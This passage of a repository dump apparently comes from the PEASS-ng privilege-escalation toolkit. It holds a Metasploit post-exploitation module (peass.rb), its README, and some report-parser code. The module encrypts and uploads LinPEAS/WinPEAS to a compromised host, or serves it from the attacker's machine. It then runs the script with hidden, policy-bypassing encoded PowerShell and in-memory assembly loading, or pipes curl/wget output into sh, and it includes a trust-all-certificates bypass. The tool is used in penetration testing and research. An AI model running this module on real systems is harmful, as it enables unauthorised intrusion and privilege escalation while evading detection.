{path}: id={module_id} expected suffix={file_base}\",\n            )\n\n    def test_module_ids_are_unique(self):\n        ids = []\n        for path in self._iter_module_files():\n            module = self.LinpeasModule(str(path))\n            ids.append(getattr(module, \"id\", \"\"))\n\n        duplicates = {x for x in ids if x and ids.count(x) > 1}\n        self.assertEqual(set(), duplicates, f\"Duplicate module IDs found: {sorted(duplicates)}\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "metasploit/README.md",
    "content": "# PEASS Post Exploitation Module for Metasploit\n\nYou can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**.\n\n## Manual Installation\nCopy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation.\n\nIn Kali: \n```bash\nsudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/\n# or\nsudo wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb\n```\n\nNow you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**.\n\n## How to use it\n```\nmsf6 exploit(multi/handler) > use post/multi/gather/peass\nmsf6 post(multi/gather/peass) > show info\n\n       Name: Multi PEASS launcher\n     Module: post/multi/gather/peass\n   Platform: BSD, Linux, OSX, Unix, Windows\n       Arch: \n       Rank: Normal\n\nProvided by:\n  Carlos Polop <@hacktricks_live>\n\nCompatible session types:\n  Meterpreter\n  Shell\n\nBasic options:\n  Name        Current Setting                                                           Required  Description\n  ----        ---------------                                                           --------  -----------\n  PARAMETERS                                                                            no        Parameters to pass to the script\n  PASSWORD    um1xipfws17nkw1bi1ma3bh7tzt4mo3e                                          no        Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used\n\n  WINPEASS    true                                                                      yes       Use PEASS for Windows or PEASS for linux. Default is windows change to false for linux.\n  CUSTOM_URL                                                                            no        Path to the PEASS script. Accepted: http(s):// URL or absolute local path.\n                                            \n  SESSION                                                                               yes       The session to run this module on.\n  SRVHOST                                                                               no        Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.\n  SRVPORT     443                                                                       no        Port to download the PEASS script from using http(s) (only used if SRVHOST)\n  SSL         true                                                                      no        Indicate if you want to communicate with https (only used if SRVHOST)\n  SSLCert                                                                               no        Path to a custom SSL certificate (default is randomly generated)\n  TEMP_DIR                                                                              no        Path to upload the obfuscated PEASS script inside the compromised machine. By default \"C:\\Windows\\System32\\spool\\drivers\\color\" is used in\n                                                                                                   Windows and \"/tmp\" in Unix.\n  TIMEOUT     900                                                                       no        Timeout of the execution of the PEASS script (15min by default)\n  URIPATH     /mvpo.txt                                                                 no        URI path to download the script from there (only used if SRVHOST)\n\nDescription:\n  This module will launch the indicated PEASS (Privilege Escalation \n  Awesome Script Suite) script to enumerate the system. You need to \n  indicate the URL or local path to LinPEAS if you are in some Unix or \n  to WinPEAS if you are in Windows. By default this script will upload \n  the PEASS script to the host (encrypted and/or encoded) and will \n  load it and execute it. You can configure this module to download \n  the encrypted/encoded PEASS script from this metasploit instance via \n  HTTP instead of uploading it.\n\nReferences:\n  https://github.com/peass-ng/PEASS-ng\n  https://www.youtube.com/watch?v=9_fJv_weLU0\n```\n\nThe options are pretty self-explanatory.\n\nNotice that **by default** the obfuscated PEASS script if going to be **uploaded** but if you **set SRVHOST it will be downloaded** via http(s) from the metasploit instance (**so nothing will be written in the disk of the compromised host**).\n\nNotice that you can **set parametes** like `-h` in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*).\n\n**IMPORTANT**: You won't see any output until the execution of the script is completed.\n"
  },
  {
    "path": "metasploit/peass.rb",
    "content": "# Copyright (c) 2025, PEASS-ng owners\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n#   1. Redistributions of source code must retain the above copyright\n#      notice, this list of conditions and the following disclaimer.\n#   2. Redistributions in binary form must reproduce the above copyright\n#      notice, this list of conditions and the following disclaimer in the\n#      documentation and/or other materials provided with the distribution.\n#   3. Neither the name of PEASS-ng owners nor the names of its\n#      contributors may be used to endorse or promote products derived from\n#      this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'uri'\nrequire 'net/http'\nrequire 'base64'\nrequire 'openssl'\nrequire 'tempfile'\n\nclass MetasploitModule < Msf::Post\n  include Msf::Post::File\n  include Msf::Exploit::Remote::HttpServer\n\n  def initialize(info={})\n    super( update_info(info,\n      'Name'           => 'Multi PEASS launcher',\n      'Description'    => %q{\n          This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system.\n          You need to indicate the URL or local path to LinPEAS if you are on any Unix-based system or to WinPEAS if you are on Windows.\n          By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it.\n          You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Carlos Polop <@hacktricks_live>'\n        ],\n      'Platform'       => %w{ bsd linux osx unix win },\n      'SessionTypes'   => ['shell', 'meterpreter'],\n      'References' =>\n          [\n            ['URL', 'https://github.com/peass-ng/PEASS-ng'],\n            ['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'],\n          ]\n    ))\n    register_options(\n      [\n        OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),\n        OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']),\n        OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),\n        OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default \"C:\\Windows\\System32\\spool\\drivers\\color\" is used in Windows and \"/tmp\" in Unix.', '']),\n        OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),\n        OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60]),\n        OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),\n        OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),\n        OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),\n        OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', \"/\" + rand(36**4).to_s(36) + \".txt\"])\n      ])\n    \n    @temp_file_path = \"\"\n  end\n\n  def run\n    ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable\n\n    # Load PEASS script in memory\n    peass_script = load_peass()\n    print_good(\"PEASS script successfully retrieved.\")\n\n    # Obfuscate loaded PEASS script\n    if datastore[\"PASSWORD\"].length > 1\n      # If no Windows, check if openssl exists\n      if !session.platform.include?(\"win\")\n        openssl_path = cmd_exec(\"command -v openssl\")\n        raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?(\"openssl\")\n      end\n\n      # Get encrypted PEASS script in B64\n      print_status(\"Encrypting PEASS and encoding it in Base64...\")\n      \n      # Needed code to decrypt from unix\n      if !session.platform.include?(\"win\")\n        aes_enc_peass_ret = aes_enc_peass(peass_script)\n        peass_script_64 = aes_enc_peass_ret[\"encrypted\"]\n        key_hex = aes_enc_peass_ret[\"key_hex\"]\n        iv_hex = aes_enc_peass_ret[\"iv_hex\"]\n        decode_linpeass_cmd = \"openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}\"\n      \n      # Needed code to decrypt from Windows\n      else\n        # As the PS function is only capable of decrypting readable strings\n        # in Windows we encrypt the B64 of the binary and then load it in memory \n        # from the initial B64. Then: original -> B64 -> encrypt -> B64\n        aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it\n        peass_script_64 = aes_enc_peass_ret[\"encrypted\"]\n        key_b64 = aes_enc_peass_ret[\"key_b64\"]\n        iv_b64 = aes_enc_peass_ret[\"iv_b64\"]\n        load_winpeas = get_ps_aes_decr()\n        \n        ps_var2 = rand(36**6).to_s(36)\n        load_winpeas += \"$#{ps_var2} = DecryptStringFromBytesAes \\\"#{key_b64}\\\" \\\"#{iv_b64}\\\" $#{ps_var1};\"\n        load_winpeas += \"$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));\"\n      end\n    \n    else\n      # If no Windows, check if base64 exists\n      if !session.platform.include?(\"win\")\n        base64_path = cmd_exec(\"command -v base64\")\n        raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?(\"base64\")\n      end\n\n      # Encode PEASS script\n      print_status(\"Encoding PEASS in Base64...\")\n      peass_script_64 = Base64.encode64(peass_script)\n\n      # Needed code to decode it in Unix and Windows\n      decode_linpeass_cmd = \"base64 -d\"\n      load_winpeas = \"$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));\"\n    \n    end\n    \n    # Write obfuscated PEASS to a local file\n    file = Tempfile.new('peass_metasploit')\n    file.write(peass_script_64)\n    file.rewind\n    @temp_file_path = file.path\n\n    if datastore[\"SRVHOST\"] == \"\"\n      # Upload file to victim\n      temp_peass_name = rand(36**5).to_s(36)\n      if datastore[\"TEMP_DIR\"] != \"\"\n        temp_path = datastore[\"TEMP_DIR\"]\n        if temp_path[0] == \"/\"\n          temp_path = temp_path + \"/#{temp_peass_name}\"\n        else\n          temp_path = temp_path + \"\\\\#{temp_peass_name}\"\n        end\n      \n      elsif session.platform.include?(\"win\")\n        temp_path = \"C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\color\\\\#{temp_peass_name}\"\n      else\n        temp_path = \"/tmp/#{temp_peass_name}\"\n      end\n      \n      print_status(\"Uploading obfuscated peass to #{temp_path}...\")\n      upload_file(temp_path, file.path)\n      print_good(\"Uploaded\")\n\n      # Start the cmd, prepare to read from the uploaded file\n      if session.platform.include?(\"win\")\n        cmd = \"$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};\"\n        last_cmd = \"del #{temp_path};\"\n      else\n        cmd = \"cat #{temp_path}\"\n        last_cmd = \" ; rm #{temp_path}\"\n      end\n\n    # Instead of writing the file to disk, download it from HTTP\n    else\n      last_cmd = \"\"\n      # Start HTTP server\n      start_service()\n\n      http_protocol = datastore[\"SSL\"] ? \"https://\" : \"http://\"\n      http_ip = datastore[\"SRVHOST\"]\n      http_port = \":#{datastore['SRVPORT']}\"\n      http_path = datastore[\"URIPATH\"]\n      url_download_peass = http_protocol + http_ip + http_port + http_path      \n      print_good(\"Listening in #{url_download_peass}\")\n      \n      # Configure the download of the script in Windows\n      if session.platform.include?(\"win\")\n        cmd = \"$ProgressPreference = 'SilentlyContinue';\"\n        cmd += get_bypass_tls_cert()\n        cmd += \"$#{ps_var1} = Invoke-WebRequest \\\"#{url_download_peass}\\\" -UseBasicParsing | Select-Object -ExpandProperty Content;\"\n      \n      # Configure the download of the script in Unix\n      else\n        cmd = \"curl -k -s \\\"#{url_download_peass}\\\"\"\n        curl_path = cmd_exec(\"command -v curl\")\n        if ! curl_path.include?(\"curl\")\n          cmd = \"wget --no-check-certificate -q -O - \\\"#{url_download_peass}\\\"\"\n          wget_path = cmd_exec(\"command -v wget\")\n          raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?(\"wget\")\n        end\n      end\n    end\n    \n    # Run PEASS script\n    begin\n      tmpout = \"\\n\"\n      print_status \"Running PEASS...\"\n\n      # If Windows, suppose Winpeas was loaded\n      if session.platform.include?(\"win\")\n        cmd += load_winpeas\n        cmd += \"$a = [winPEAS.Program]::Main(\\\"#{datastore['PARAMETERS']}\\\");\"\n        cmd += last_cmd\n        # Transform to Base64 in UTF-16LE format\n        cmd_utf16le = cmd.encode(\"utf-16le\")\n        cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\\r?\\n/, \"\")\n        \n        tmpout << cmd_exec(\"powershell.exe\", args=\"-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}\", time_out=datastore[\"TIMEOUT\"].to_i)\n      \n        # If Unix, then, suppose linpeas was loaded\n      else\n        cmd += \"| #{decode_linpeass_cmd}\"\n        cmd += \"| sh -s -- #{datastore['PARAMETERS']}\"\n        cmd += last_cmd\n        tmpout << cmd_exec(cmd, args=nil, time_out=datastore[\"TIMEOUT\"].to_i)\n      end\n\n      print \"\\n#{tmpout}\\n\\n\"\n      command_log = store_loot(\"PEASS\", \"text/plain\", session, tmpout, \"peass.txt\", \"PEASS script execution\")\n      print_good(\"PEASS output saved to: #{command_log}\")\n    \n    rescue ::Exception => e\n      print_bad(\"Error Running PEASS: #{e.class} #{e}\")\n    end\n    \n    # Close and delete the temporary file\n    file.close\n    file.unlink\n  end\n\n  def on_request_uri(cli, request)\n    print_status(\"HTTP request received\")\n    send_response(cli, File.read(@temp_file_path), {'Content-Type'=>'text/plain'})\n    print_good(\"PEASS script sent\")\n  end\n\n  def fetch(uri_str, limit = 10)\n    raise 'Invalid URL, too many HTTP redirects' if limit == 0\n    response = Net::HTTP.get_response(URI(uri_str))\n    case response\n    when Net::HTTPSuccess then\n      response\n    when Net::HTTPRedirection then\n      location = response['location']\n      fetch(location, limit - 1)\n    else\n      response.value\n    end\n  end\n \n  def load_peass\n    # Load the PEASS script from a local file or from Internet\n    peass_script = \"\"\n    url_peass = \"\"\n    # If no URL is set, use the default one\n    if datastore['CUSTOM_URL'] != \"\"\n      url_peass = datastore['CUSTOM_URL']\n    else\n      url_peass = datastore['WINPEASS'].to_s.strip.downcase == 'true' ? \"https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe\" : \"https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh\"\n    end\n    # If URL is set, check if it is a valid URL or local file\n    if url_peass.include?(\"http://\") || url_peass.include?(\"https://\")\n      target = URI.parse url_peass\n      raise 'Invalid URL' unless target.scheme =~ /https?/\n      raise 'Invalid URL' if target.host.to_s.eql? ''\n      \n      res = fetch(target)\n      peass_script = res.body\n\n      raise \"Something failed downloading PEASS script from #{url_peass}\" if peass_script.length < 500\n\n    else\n      raise \"PEASS local file (#{url_peass}) does not exist!\" unless ::File.exist?(url_peass)        \n      peass_script = File.read(url_peass)\n      raise \"Something falied reading PEASS script from #{url_peass}\" if peass_script.length < 500\n    end\n\n    return peass_script\n  end\n\n  def aes_enc_peass(peass_script)\n    # Encrypt the PEASS script with AES (CBC Mode)\n    key = datastore[\"PASSWORD\"]\n    iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv\n    \n    c = OpenSSL::Cipher.new('aes-256-cbc').encrypt\n    c.iv = iv\n    c.key = key\n    encrypted = c.update(peass_script) + c.final\n    encrypted = [encrypted].pack('m')\n\n    return {\n      \"encrypted\" => encrypted,\n      \"key_hex\" => key.unpack('H*').first,\n      \"key_b64\" => Base64.encode64(key).strip,\n      \"iv_hex\" => iv.unpack('H*').first,\n      \"iv_b64\" => Base64.encode64(iv).strip\n    }\n  end\n\n  def get_bypass_tls_cert\n    return'\n    # Code to accept any certificate in the https connection from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error\n    add-type @\"\n    using System.Net;\n    using System.Security.Cryptography.X509Certificates;\n    public class TrustAllCertsPolicy : ICertificatePolicy {\n        public bool CheckValidationResult(\n            ServicePoint srvPoint, X509Certificate certificate,\n            WebRequest request, int certificateProblem) {\n            return true;\n        }\n    }\n\"@\n[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy;\n'\n  end\n\n  def get_ps_aes_decr\n    # PS code to decrypt Winpeas\n    return '\n    # Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86\nfunction DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) {\n    [byte[]] $encrypted = [Convert]::FromBase64String($encrypted);\n    [byte[]] $key = [Convert]::FromBase64String($key)\n    [byte[]] $iv = [Convert]::FromBase64String($iv)\n\n    # Declare the stream used to encrypt to an in memory\n    # array of bytes.\n    [System.IO.MemoryStream] $msDecrypt\n\n    # Declare the RijndaelManaged object\n    # used to encrypt the data.\n    [System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged\n\n    [String] $plainText=\"\"\n\n    try  {\n        # Create a RijndaelManaged object\n        # with the specified key and IV.\n        $aesAlg =  new-object System.Security.Cryptography.RijndaelManaged\n        $aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC\n        $aesAlg.KeySize = 256\n        $aesAlg.BlockSize = 128\n        $aesAlg.key = $key\n        $aesAlg.IV = $iv\n\n        # Create an encryptor to perform the stream transform.\n        [System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV);\n\n        # Create the streams used for encryption.\n        $msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted)\n        $csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)\n        $srDecrypt = new-object System.IO.StreamReader($csDecrypt)\n\n        # Write all data to the stream.\n        $plainText = $srDecrypt.ReadToEnd()\n        $srDecrypt.Close()\n        $csDecrypt.Close()\n        $msDecrypt.Close()\n    }\n    finally {\n        # Clear the RijndaelManaged object.\n        if ($aesAlg -ne $null){\n            $aesAlg.Clear()\n        }\n    }\n\n    # Return the Decrypted bytes from the memory stream.\n    return $plainText\n}\n'\n  end\nend\n"
  },
  {
    "path": "parsers/README.md",
    "content": "# Privilege Escalation Awesome Scripts Parsers\n\nThese scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.\n\n```python3\npython3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>\npython3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>\npython3 json2html.py </path/to/peass.json> </path/to/peass.html>\n```\n\n\n## JSON Format\nBasically, **each section has**:\n - Infos (URLs or info about the section)\n - Text lines (the real text info found in the section, colors included)\n - More sections\n\nThere is a **maximun of 3 levels of sections**.\n\n```json\n{\n  \"<Main Section Name>\": {\n    \"sections\": {\n      \"<Secondary Section Name>\": {\n        \"sections\": {},\n        \"lines\": [\n          {\n            \"raw_text\": \"\\u001b[0m\\u001b[1;33m[+] \\u001b[1;32mnmap\\u001b[1;34m is available for network discover & port scanning, you should use it yourself\",\n            \"clean_text\": \"[+]  is available for network discover & port scanning, you should use it yourself\",\n            \"colors\": {\n                \"GREEN\": [\n                    \"nmap\"\n                ],\n                \"YELLOW\": [\n                    \"[+]\"\n                ]\n            }\n          }\n        ],\n        \"infos\": [\n          \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits\"\n        ]\n      },\n      \"infos\": []\n```\n\n```json\n{\n  \"System Information\": {\n    \"sections\": {\n      \"Operative system\": {\n        \"sections\": {},\n        \"lines\": [\n          {\n            \"raw_text\": \"\\u001b[0m\\u001b[1;33m[+] \\u001b[1;32mnmap\\u001b[1;34m is available for network discover & port scanning, you should use it yourself\",\n            \"clean_text\": \"[+]  is available for network discover & port scanning, you should use it yourself\",\n            \"colors\": {\n                \"GREEN\": [\n                    \"nmap\"\n                ],\n                \"YELLOW\": [\n                    \"[+]\"\n                ]\n            }\n          }\n        ],\n        \"infos\": [\n          \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits\"\n        ]\n      },\n      \"infos\": []\n```\n\n\nThere can also be a `<Third level Section Name>`\n\nIf you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS\n\n# TODO:\n\n- **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**\n"
  },
  {
    "path": "parsers/__init__.py",
    "content": ""
  },
  {
    "path": "parsers/json2html.ps1",
    "content": "# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/json2html.py\r\n# TODO: create the script\r\nfunction parse_dict {\r\n    param (\r\n        [System.Object] $json_dict\r\n    )\r\n\r\n    # Parse the given dict from the given json adding it to the HTML file\r\n    $dict_text = \"\"\r\n    foreach($obj in $json_dict.psobject.properties){\r\n        $key = $obj.Name\r\n        $value = $obj.Value\r\n        $n = Get-Random -Minimum 1 -Maximum 999999\r\n        $infos = [System.Collections.ArrayList]@()\r\n\r\n        foreach($info in $value.\"infos\"){\r\n            if(([string]$info).StartsWith('http')){\r\n                $infos.Add(\"<a href=$info>$info</a><br>`n\")\r\n            }\r\n            else{\r\n                $infos.Add([string]$info + \"<br>`n\")\r\n            }\r\n        }\r\n\r\n        $dict_text += \"`t`t<button type=\"\"button\"\" class=\"\"btn1\"\" data-toggle=\"\"collapse\"\" data-target=\"\"#lines$n\"\">$key</button><br>`n\"\r\n        $dict_text += \"<i>\" + ($infos -join \"\") + \"</i>\"\r\n        $dict_text += \"<div id=\"\"lines$n\"\" class=\"\"collapse1 collapse in\"\">`n\"\r\n\r\n        if($value.\"lines\"){\r\n            $dict_text += $(\"`n\" + (parse_list $value.\"lines\") + \"`n\")\r\n        }\r\n\r\n        if($value.\"sections\"){\r\n            $dict_text += (parse_dict $value.\"sections\")\r\n        }\r\n    }\r\n\r\n    return $dict_text\r\n    \r\n}\r\n\r\nfunction parse_list {\r\n    param (\r\n        [System.Object] $json_list\r\n    )\r\n    # Parse the given list from the given json adding it to the HTML file\r\n\r\n    $color_text=\"\"\r\n    $color_class=\"\"\r\n\r\n    $special_char = [String][char]0x2550\r\n    $special_char_2 = [String][char]0x2563\r\n\r\n    foreach($i in $json_list){\r\n        if(-not $i.\"clean_text\".Contains($special_char*3)){\r\n            if($i.\"clean_text\"){\r\n                $color_text += \"<div class = `\"\"\r\n                $text = [string]$i.\"clean_text\"\r\n                foreach($color_obj in $i.\"colors\".psobject.properties){\r\n                    $color_words = $color_obj.Value\r\n                    $color = $color_obj.name\r\n                    if($color -eq \"BLUE\"){\r\n                        $style = \"#0000FF\"\r\n                        $color_class = \"blue\"\r\n                    }\r\n                    if($color -eq \"LIGHT_GREY\"){\r\n                        $style = \"#adadad\"\r\n                        $color_class = \"light_grey\"\r\n                    }\r\n                    if($color -eq \"REDYELLOW\"){\r\n                        $style = \"#FF0000; background-color: #FFFF00\"\r\n                        $color_class = \"redyellow\"\r\n                    }\r\n                    if($color -eq \"RED\"){\r\n                        $style = \"#FF0000\"\r\n                        $color_class = \"red\"\r\n                    }\r\n                    if($color -eq \"GREEN\"){\r\n                        $style = \"#008000\"\r\n                        $color_class = \"green\"\r\n                    }\r\n                    if($color -eq \"MAGENTA\"){\r\n                        $style = \"#FF00FF\"\r\n                        $color_class = \"magenta\"\r\n                    }\r\n                    if($color -eq \"YELLOW\"){\r\n                        $style = \"#FFFF00\"\r\n                        $color_class = \"yellow\"\r\n                    }\r\n                    if($color -eq \"DARKGREY\"){\r\n                        $style = \"#A9A9A9\"\r\n                        $color_class = \"darkgrey\"\r\n                    }\r\n                    if($color -eq \"CYAN\"){\r\n                        $style = \"#00FFFF\"\r\n                        $color_class = \"cyan\"\r\n                    }\r\n                    foreach($replacement in $color_words){\r\n                        $text=$text.Replace($replacement, \" <b style=`\"color:\" + $style + \"`\">\" + $replacement + \"</b>\")\r\n                        if($text.Contains($special_char_2)){\r\n                            $text = $text.Replace($special_char_2, \"<li>\")\r\n                            $text += \"</li>\"\r\n                        }\r\n                    }\r\n                    $color_text += \"\" + $color_class + \" \"\r\n                }\r\n                $color_text += \"no_color`\" >\" + $text + \"<br></div>`n\"\r\n            }\r\n\r\n        }\r\n    }\r\n    return $color_text + \"`t`t`t</div>`n\"\r\n}\r\n\r\nfunction parse_json {\r\n    param (\r\n        $json_data\r\n    )\r\n\r\n    $body = \"\"\r\n    $i = 1\r\n\r\n    foreach($obj in $json_data.psobject.properties){\r\n        $key = $obj.Name\r\n        $value = $obj.Value\r\n        $body += \" `t`t<button type=\"\"button\"\" class=\"\"btn\"\" data-toggle=\"\"collapse\"\" data-target=\"\"#demo\"\" \" + [string]$i + \"`\"><b>\" + $key + \" </button></b><br>`n <div id=\"\"demo\"\" \" + [string]$i + \"`\" class=\"\"collapse\"\">`n\"\r\n        $i += 1\r\n        foreach($obj_2 in $value.psobject.properties) {\r\n            $key1 = $obj_2.Name\r\n            $value1 = $obj_2.Value\r\n            if($value1.GetType().BaseType -eq [System.Object]){\r\n                $body += parse_dict $value1\r\n            }\r\n\r\n        }\r\n\r\n        $body += \"`t`t`t</div>`n\"\r\n    }\r\n\r\n    return $body \r\n}\r\n\r\n$HTML_HEADER = @\"\r\n<html>\r\n    <head>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" charset=\"UTF-8\">\r\n        <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css\">\r\n        <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>\r\n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js\"></script>\r\n        <style>\r\n            .btn {\r\n            border-radius: 2px;\r\n            border: 2px solid #000000;\r\n            background-color: #33adff;\r\n            color: white;\r\n            padding: 8px 16px;\r\n            text-align: center;\r\n            text-decoration: none;\r\n            display: inline-block;\r\n            font-size: 16px;\r\n            margin: 8px 40%;\r\n            transition-duration: 0.4s;\r\n            cursor: pointer;\r\n            border-radius: 8px;\r\n            \r\n            }\r\n\r\n            .btn1 {\r\n            border-radius: 2px;\r\n            border: 2px solid #000000;\r\n            background-color: #33adff;\r\n            color: white;\r\n            padding: 4px 8px;\r\n            text-align: center;\r\n            text-decoration: none;\r\n            display: inline-block;\r\n            font-size: 16px;\r\n            margin: 8px 4px;\r\n            transition-duration: 0.4s;\r\n            cursor: pointer;\r\n            border-radius: 8px;\r\n            \r\n            }\r\n\r\n            .btn:hover {\r\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\r\n                background-color: #6fd1ff;\r\n                color: white;\r\n            }\r\n\r\n            .btn1:hover {\r\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\r\n                background-color: #6fd1ff;\r\n                color: white;\r\n            }\r\n\r\n            .collapse {\r\n                margin: 15px 8%;\r\n                padding: 8px 8px;\r\n                border: 1px solid #000000;\r\n                width: 80%;\r\n                background-color: #adebad;\r\n            }\r\n            \r\n            .collapse1 {\r\n                margin: 15px 8%;\r\n                padding: 8px 8px;\r\n                border: 2px solid #000000;\r\n                width: 80%;\r\n                background-color: #91ff96;\r\n            }\r\n\r\n            .peass_image{\r\n                display: block;\r\n\t\t\t\tmargin-left:30%;\r\n                margin-right:30%;\r\n\t\t\t\twidth: 30%;\r\n            }\r\n            \r\n            .div_redyellow{\r\n                \r\n                margin-left:35%;\r\n                margin-right:35%; \r\n            }\r\n\r\n            .btn_redyellow{\r\n                background-color: #FFFF00;\r\n                padding: 4px 8px;\r\n                border-radius: 8px;\r\n                color:#FF0000;\r\n                border:2px solid #FF0000;\r\n            }\r\n\r\n            .btn_redyellow:hover {\r\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\r\n                background-color: #FF0000;\r\n                border: 2px solid #FF0000;\r\n                color: #FFFF00;\r\n                transition-duration: 0.4s;\r\n            }\r\n            \r\n            .btn_red_redyellow{\r\n                background: #FFFF00;\r\n                padding: 4px 8px;\r\n                border-radius: 8px;\r\n                color:#FF0000;\r\n                border:2px solid #FF0000;\r\n            }\r\n\r\n            .btn_red_redyellow:hover {\r\n                box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\r\n                background: #FF0000;\r\n                border: 2px solid #FF0000;\r\n                color: #FFFF00;\r\n                transition-duration: 0.4s;\r\n            }\r\n            \r\n            .btn_restore, .btn_show_all, .btn_hide_all{\r\n                margin-top: 3px;\r\n                border-radius: 2px;\r\n                padding: 4px 8px;\r\n                background-color: #00ff15;\r\n                border: 2px solid #06660e;\r\n                border-radius: 8px;\r\n            }\r\n\r\n            .btn_restore:hover, .btn_show_all:hover, .btn_hide_all:hover{\r\n                box-shadow: 0 12px 16px 0 